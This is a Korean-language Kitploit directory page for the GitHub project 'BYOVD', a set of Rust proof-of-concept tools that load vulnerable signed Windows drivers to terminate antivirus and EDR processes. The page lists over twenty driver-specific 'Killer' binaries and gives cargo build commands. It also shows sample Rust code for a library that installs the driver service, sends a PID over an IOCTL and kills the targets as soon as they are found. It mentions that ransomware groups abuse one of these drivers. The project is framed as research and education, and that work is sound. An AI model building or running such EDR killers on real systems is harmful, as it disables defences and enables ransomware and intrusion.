Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
BYOVD — BYOVD 연구 사용 사례: 취약한 드라이버 탐지 및 리버스 엔지니어링 방법론을 다룹니다. (CVE-2025-52915, CVE-2025-1055, CVE-2026-3609, CVE-2026-8501) | Kitploit
도구/GitHubGitHub/blacksnufkin/byovd
Privilege EscalationVulnerability AnalysisExploitationIDS/IPS EvasionReverse EngineeringLearning & EducationRed Teaming
GitHubblacksnufkin/byovd

BYOVD

BYOVD 연구 사용 사례: 취약한 드라이버 탐지 및 리버스 엔지니어링 방법론을 다룹니다. (CVE-2025-52915, CVE-2025-1055, CVE-2026-3609, CVE-2026-8501)

저장소 보기
895132201개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
cropped-Aug 28, 2025, 03_39_19 PM

BYOVD는 취약한 드라이버를 악용하여 AV/EDR 솔루션을 비활성화하는 방법을 시연하는 PoC 모음입니다.

이 컬렉션에는 문서화되지 않은 드라이버와 LOLDDrivers 또는 Microsoft의 권장 드라이버 차단 규칙에 이미 포함된 드라이버가 모두 포함되어 있습니다.


최초 발견 이후, TfSysMon 드라이버는 LOLDrivers에 추가되었으며 Sophos 및 ESET이 보고한 바와 같이 랜섬웨어 그룹이 EDRKillShifter 도구를 사용하여 악용하고 있습니다.


📚 목차

  • 🔍 개요
  • 🏗️ 프로젝트 구조
  • 🔧 빌드
  • 📦 byovd-lib
  • 💡 PoC
  • 🔬 완전한 드라이버 리버스 엔지니어링 프로세스 (x64)
  • 🔗 참고 자료
  • ⚠️ 면책 조항

🔍 개요

BYOVD 기법은 최근 공격적 보안 분야에서 주목을 받고 있으며, 특히 SpyBoy의 Terminator($3,000에 판매) 및 ZeroMemoryEx Blackout 프로젝트와 같은 도구의 출시와 함께 더욱 두각을 나타내고 있습니다. 이러한 도구는 취약한 드라이버를 활용하여 AV/EDR 에이전트를 비활성화하고, 탐지를 줄여 추가 공격을 용이하게 합니다.

이 저장소에는 교육 목적으로 개발된 여러 PoC가 포함되어 있으며, 연구자들이 이러한 드라이버가 프로세스 종료에 어떻게 악용될 수 있는지 이해하는 데 도움을 줍니다.

🏗️ 프로젝트 구조

이 프로젝트는 Rust Cargo 워크스페이스로 구성되어 있습니다. 대부분의 PoC는 드라이버 서비스 수명 주기, IOCTL 디스패치, 프로세스 모니터링, 권한 조정, 정리와 같은 기본 작업을 처리하는 공통 라이브러리(byovd-lib)를 공유합니다. 각 킬러는 드라이버별 구성을 정의하는 얇은 바이너리(약 50-100줄)입니다. K7Terminator, Astra64-Killer, Ktapi-Killer, Xhunter1-Killer는 독립형입니다 — 자체 [workspace] 선언을 가지며 루트 워크스페이스가 아닌 자체 디렉터리에서 직접 빌드됩니다.``` BYOVD/ ├── Cargo.toml # Workspace root (deps + release profile) ├── Cargo.lock ├── README.md ├── LICENSE │ ├── byovd-lib/ # Shared library │ ├── Cargo.toml │ └── src/ │ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() │ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete) │ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes │ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) │ ├── process.rs # find_pid_by_name / find_all_pids_by_name │ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler │ ├── privilege.rs # enable_privilege / ensure_running_as_local_system │ └── util.rs # to_wstring / to_cstring / get_current_dir │ ├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys ├── Astra64-Killer/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, data-only Shadow SSDT hijack EDR killer ├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324) ├── CcProtect-Killer/ # CnCrypt CcProtect ├── EnPortv-Killer/ # EnCase EnPortv ├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155) ├── GoFlyDrv-Killer/ # Golink GoFlyDrv ├── HNOs2Ec-Killer/ # HONOR PCManager HNOs2Ec.sys ├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys ├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes ├── Ksapi64-Killer/ # Kingsoft ksapi64 ├── Ktapi-Killer/ # Kontron ktapi.sys -- standalone, two-stage shellcode EDR killer ├── MonProcess-Killer/ # HONOR HnRSMService MonProcess.sys ├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys ├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction) ├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501) ├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction) ├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618) ├── TfSysMon-Killer/ # ThreatFire sysmon ├── UnknownKiller/ # unattributed unknown.sys ├── Viragt64-Killer/ # Tg Soft viragt64 ├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271) ├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609) └── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm

각 `*-Killer/` 디렉토리에는 자체 `Cargo.toml`, `src/main.rs`(`DriverConfig` 구현 + CLI), `README.md`(드라이버 해시 + 사용법), 그리고 바이너리가 런타임에 로드하는 해당 `.sys` 파일이 포함되어 있습니다.

## 🔧 빌드

**전제 조건:** Rust 툴체인과 Windows SDK가 포함된 Visual Studio Build Tools.```bash
# Build all tools (release, optimized + stripped)
cargo build --release

# Build a single tool
cargo build --release -p BdApiUtil-Killer

# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer

바이너리는 target/release/에 출력됩니다. 실행 전에 해당 .sys 드라이버 파일을 실행 파일과 같은 디렉터리에 복사하세요.

📦 byovd-lib

byovd-lib는 모든 PoC(K7Terminator 제외)가 기반으로 하는 공유 라이브러리입니다. 표준적인 "드라이버 설치, 발견 즉시 종료, 정리" 흐름을 위한 고수준 선언형 API와, 사용자 지정 흐름이 필요한 킬러(이미 로드된 드라이버에 연결, 여러 PID로 분산, 구조화된 IOCTL 버퍼, 사용자 지정 재시도 로직 등)를 위한 저수준 명령형 API라는 두 가지 상호 보완적인 API를 제공합니다. 둘 다 동일한 바이너리에서 혼합하여 사용할 수 있습니다.

모듈 구조```

byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir

### High-level API: `DriverConfig` 트레이트 + `run()`

번들된 킬러들이 사용하는 방식입니다. 트레이트를 구현하고 `byovd_lib::run()`을 호출하면 끝입니다.```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;

struct MyDriver;
impl DriverConfig for MyDriver {
    fn driver_name(&self) -> &str { "MyDriver" }
    fn driver_file(&self) -> &str { "mydriver.sys" }
    fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
    fn ioctl_code(&self) -> u32 { 0xDEAD }
    fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
        pid.to_ne_bytes().to_vec()
    }
}

#[derive(Parser)]
struct Cli {
    #[arg(short = 'n', long = "name", required = true)]
    process_name: String,
}

fn main() -> Result<()> {
    let cli = Cli::parse();
    byovd_lib::run(&MyDriver, &cli.process_name, None)
}

run()은 다음을 수행합니다: preflight_check → 서비스 설치(SERVICE_DEMAND_START) → StartService → 발견 즉시 종료 모니터(Ctrl+C로 종료) → 서비스 중지 및 삭제.

기본값이 있는 선택적 트레이트 오버라이드:

메서드기본값용도
device_access()SERVICE_ALL_ACCESSCreateFileW 접근 플래그
skip_unload()false드라이버 정리 건너뛰기(예: 언로드 시 BSOD를 유발하는 드라이버)
ignore_ioctl_error()falseIOCTL 실패를 성공으로 처리(예: NSecKrnl은 성공 시 오류를 보고함)
ioctl_output_size()0예상 출력 버퍼 크기(바이트)
preflight_check()Ok(())실행 전 검증(예: LocalSystem 확인)

저수준 API: 명령형 구성 요소

트레이트 흐름이 맞지 않는 경우(예: 드라이버가 이미 로드되어 IOCTL 하나만 실행하려는 경우, 사용자 지정 재시도 정책이 필요한 경우, IOCTL이 PID가 아닌 구조화된 입력을 받는 경우, 또는 일치하는 모든 PID에 분산 실행하려는 경우) 저수준 구성 요소를 직접 조합하세요.

드라이버 수명 주기 -- ByovdDriver:```rust use byovd_lib::ByovdDriver;

let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;

**IOCTL 디스패치** — `DeviceHandle`은 다섯 가지 유형화된 형태를 제공합니다:
도구 다운로드